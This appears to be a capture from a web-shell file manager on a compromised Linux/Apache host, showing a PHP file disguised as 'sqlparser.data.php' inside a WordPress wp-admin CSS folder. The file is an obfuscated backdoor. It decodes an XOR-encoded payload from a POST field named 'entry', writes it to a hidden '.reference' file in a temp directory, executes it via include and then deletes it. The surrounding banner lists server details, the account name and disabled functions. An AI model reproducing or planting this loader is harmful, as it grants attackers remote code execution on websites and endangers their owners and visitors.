HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-admin/css/colors/midnight/sqlparser.data.php
<?php

if(filter_has_var(INPUT_POST, "\x65\x6Etry")){
	$dchunk = $_POST["\x65\x6Etry"];
		$dchunk 	 = 	explode	(	 "." ,  	$dchunk) ;	
	$ent = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s9	);
            $j = 0;
    
            $__tmp = $dchunk;
            while ($v7 = array_shift($__tmp)) {
                $chS = ord($s9[$j % $lenS]	);
                $dec = ((int)$v7 - $chS - ($j % 10)) ^ 24;
                $ent	 .=	chr($dec	);
                $j++;		}  
	$pointer = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]);
	foreach ($pointer as $res):
    		if (is_writable($res) && is_dir($res)) {
    $descriptor = implode("/", [$res, ".reference"]);
    $success = file_put_contents($descriptor, $ent);
if ($success) {
	include $descriptor;
	@unlink($descriptor);
	exit;}
}
endforeach;
}